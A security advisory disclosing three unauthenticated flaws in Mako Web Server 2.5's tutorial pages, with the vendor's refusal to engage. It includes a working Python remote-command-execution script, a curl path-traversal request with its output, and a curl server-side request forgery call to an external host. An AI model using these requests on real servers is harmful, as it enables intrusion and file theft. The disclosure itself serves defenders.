Mako Web Server 2.5 – Multiple Vulnerabilities
[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3391 [+] Credits: John Page a.k.a hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MAKO-WEB-SERVER-MULTIPLE-UNAUTHENTICATED-VULNERABILIITIES-SECURITEAM.txt [+] ISR: ApparitionSec Vulnerabilities Summary The following advisory describe three (3) vulnerabilities found in Mako Server’s tutorial page. The vulnerabilities found are: Unauthenticated Arbitrary File Write vulnerability that leads to Remote Command Execution Unauthenticated File Disclosure Unauthenticated Server Side Request Forgery As these tutorial may be used as the basis for production code, it is important for users to be aware of these issues. “As a compact application and web server, the Mako Server helps developers rapidly design secure IoT and web applications. The Mako Server provides an application server environment from which developers can design and implement complete, custom solutions. The Mako Web Server is ideal for embedded Linux systems.” Credit An independent security researcher, John Page AKA hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program Vendor response RealTimeLogic was informed of the vulnerability on Aug 13, but while acknowledging the receipt of the vulnerability information, refused to respond to the technical claims, to give a fix timeline or coordinate an advisory, saying: “I just sent a formal notification for the commercial license requirement and also we need to put a maintenance contract in place. Internally I need to set-up a cost allocation account for billing against these support inquiries.” At this time it’s unclear whether these vulnerabilities are going to be fixed and further attempts to get a status clarification failed. Vulnerabilities details Unauthenticated Arbitrary File Write vulnerability that leads to Remote Command Execution: Mako web-server tutorial does not sufficiently sanitizing the HTTP PUT requests, when an attacker send HTTP PUT request to ‘save.lsp‘ web page, the input passed to a function responsible for accessing the filesystem. The attacker input will be saved on the victims machine and can be execute by sending HTTP GET request to ‘manage.lsp‘ HTTP PUT 'http://VICTIM-IP/examples/save.lsp?ex=2.1' HTTP GET 'http://VICTIM-IP/examples/manage.lsp?execute=true&ex=2.1&type=lua' Proof of Concept import urllib2,time #MakoServer v2.5 Remote Command Execution 0day #Credits: John Page AKA hyp3rlinx #========================================= print 'MakoServer v2.5 Remote Command Execution' CMD="os.execute('c:/Windows/system32/calc.exe')" opener = urllib2.build_opener(urllib2.HTTPHandler) request = urllib2.Request('http://IP/examples/save.lsp?ex=2.1', data=CMD) request.add_header('Content-Type', 'text/plain;charset=UTF-8') request.add_header('X-Requested-With', 'XMLHttpRequest') request.add_header('Referer', 'http://localhost/Lua-Types.lsp') request.get_method = lambda: 'PUT' opener.open(request) time.sleep(1) urllib2.urlopen('http://IP/examples/manage.lsp?execute=true&ex=2.1&type=lua') Unauthenticated File Disclosure Mako web-server tutorial is not sufficiently sanitizing GET requests, when an attacker send GET request to the URI IP/fs/../.., the input passed without modification and the response with the file content is returned. Proof of Concept The following GET request will response with the C/Windows/system.ini content: curl -v http://VICTIM-IP/fs/C/Windows/system.ini * About to connect() to VICTIM-IP port 80 * Trying VICTIM-IP... connected * Connected to VICTIM-IP (VICTIM-IP) port 80 > GET /fs/C/Windows/system.ini HTTP/1.1 > User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5 > Host: VICTIM-IP > Accept: */* > < HTTP/1.1 200 OK < Date: Mon, 07 Aug 2017 22:21:27 GMT < Server: MakoServer.net < Content-Type: application/octet-stream < Accept-Ranges: bytes < Etag: 58b4be20 < Last-Modified: Tue, 28 Feb 2017 00:02:40 GMT < Content-Length: 219 < Keep-Alive: Keep-Alive ; for 16-bit app support [386Enh] woafont=dosapp.fon EGA80WOA.FON=EGA80WOA.FON EGA40WOA.FON=EGA40WOA.FON CGA80WOA.FON=CGA80WOA.FON CGA40WOA.FON=CGA40WOA.FON [drivers] wave=mmdrv.dll timer=timer.drv [mci] Server Side Request Forgery Mako web-server tutorial is not sufficiently sanitizing incoming POST requests, when an attacker sends an POST request to the ‘rtl/appmgr/new-application.lsp‘ URI, the input will be executed and the server will connect to the attacker’s machine. Proof of Concept Start Wireshark to see successful connections made from Mako Web Server victim machine. Initiate requests from another machine using CURL: curl -v -X POST http://VICTIM-IP/rtl/appmgr/new-application.lsp -d io=net -d path=http://EXTERNAL-IP Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ==================== Would like to acknowledge Beyond Security’s SSD program for the help with co-ordination of this vulnerability. More details can be found on their blog at: https://blogs.securiteam.com/index.php/archives/3391 [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx |